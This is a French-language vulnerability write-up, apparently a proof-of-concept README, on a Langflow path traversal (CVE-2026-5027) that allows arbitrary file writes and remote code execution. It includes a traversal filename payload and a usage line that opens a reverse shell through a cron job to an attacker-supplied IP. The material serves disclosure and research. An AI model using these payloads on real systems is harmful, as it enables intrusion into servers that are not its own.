
Langflow, Exécution de code à distance (RCE) via Injection de tâche Cron par Contournement de chemin
Cet article est une publication de recherche par EQSTLab.
Merci à Yahia Hamza qui a signalé et analysé cette vulnérabilité.
★ CVE-2026-5027 Langflow traversée de chemin / écriture arbitraire de fichier PoC ★

CVE-2026-5027 : Vulnérabilité d'écriture arbitraire de fichier dans Langflow
description : Une vulnérabilité de traversée de chemin dans Langflow <= 1.8.4 permet à des attaquants d'écrire des fichiers arbitraires en dehors du répertoire de téléchargement prévu via un filename multipart contrefait fourni à l'endpoint /api/v2/files. Dans les déploiements où la connexion automatique est activée ou l'authentification est autrement faiblement appliquée, ce problème peut être exploité pour exécuter du code à distance en écrivant du contenu contrôlé par l'attaquant à des emplacements sensibles du système de fichiers.
Construire et exécuter l'environnement vulnérable avec Docker :
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint vulnérable
POST /api/v2/files
Le problème existe car la fonctionnalité de téléchargement fait confiance à la valeur filename multipart fournie par le client. Au lieu de générer un nom de stockage sécurisé côté serveur ou de contraindre le chemin résolu à un répertoire de téléchargement dédié, le chemin de code vulnérable permet à des séquences de traversée telles que ../ d'influencer le chemin de destination final.
En conséquence, un attaquant peut contourner la racine de stockage prévue et forcer l'application à écrire des fichiers à des emplacements arbitraires sur le système de fichiers du serveur.
Un flux d'exploitation représentatif est le suivant :
/api/v2/files.filename contrefait contenant des séquences de traversée de chemin.Il s'agit fondamentalement d'un problème CWE-22 : Limitation incorrecte d'un chemin d'accès à un répertoire restreint.
La faille de sécurité est causée par une désinfection et une validation insuffisantes des chemins de fichiers contrôlés par l'utilisateur lors de la gestion des téléchargements. L'application accepte le nom de fichier original du client et le transmet dans le flux de travail de stockage sans appliquer correctement la normalisation et le confinement du chemin.
D'un point de vue défensif, le modèle dangereux est conceptuellement similaire à ce qui suit :
save_path = base_dir / file.filename
Si file.filename contient des composants de traversée de chemin tels que :
../../../../tmp/poc.txt
le chemin résolu final peut pointer en dehors de base_dir, permettant une écriture arbitraire de fichier.
Les vulnérabilités d'écriture arbitraire de fichier sont souvent plus graves que les problèmes de téléchargement non restreint standard car l'attaquant contrôle non seulement le contenu du fichier, mais aussi le chemin de destination. Selon les privilèges d'exécution du processus Langflow, cela peut permettre :
+-------------------------------------------+
| Attaquant |
+-------------------------------------------+
|
| Obtenir un jeton d'accès
| ou abuser de la connexion automatique
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Nom de fichier multipart contrefait
| (../ traversée de répertoire)
v
+-------------------------------------------+
| Écriture arbitraire de fichier (hors répertoire de téléchargement) |
+-------------------------------------------+
|
| Écrire à un emplacement sensible
v
+-------------------------------------------+
| Exécution de code à distance potentielle |
+-------------------------------------------+
Ce dépôt n'a pas pour but de faciliter l'exploitation non autorisée d'instances Langflow. L'objectif de ce projet est d'aider les chercheurs en sécurité, les défenseurs et les développeurs à comprendre la vulnérabilité, à valider l'exposition dans des environnements contrôlés et à appliquer des mesures d'atténuation efficaces.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027